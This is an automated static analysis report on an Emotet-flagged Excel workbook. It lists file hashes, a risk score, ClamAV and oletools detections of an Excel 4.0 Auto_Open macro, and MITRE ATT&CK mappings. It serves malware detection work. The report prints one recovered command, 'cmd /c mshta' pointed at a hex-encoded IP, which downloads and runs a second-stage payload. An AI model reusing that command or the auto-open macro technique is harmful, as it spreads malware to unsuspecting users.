Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 f068907e6f0200e6…

MALICIOUS

Office (OLE) / .XLSX

128.3 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 6c3f3742bbc041fde25b4c19810800a5 SHA-1: 3be5e6007783879a8a39b7b223aaea3952f2707b SHA-256: f068907e6f0200e63e6bce6f97cee3a7c1159c0cf34a254b263a149261c605e6
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: User Execution: Malicious File

The critical heuristics indicate the presence of an Excel 4.0 macro with an Auto_Open entry, and ClamAV identifies it as Emotet. The extracted XLM macro defines a string that reconstructs to 'cmd /c mshta http://0xc12a24f5/cc.html' and assigns it to the name 'lll'. This command is designed to download and execute a second-stage payload from the specified URL. The presence of two similar URLs suggests potential fallback or variant behavior.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes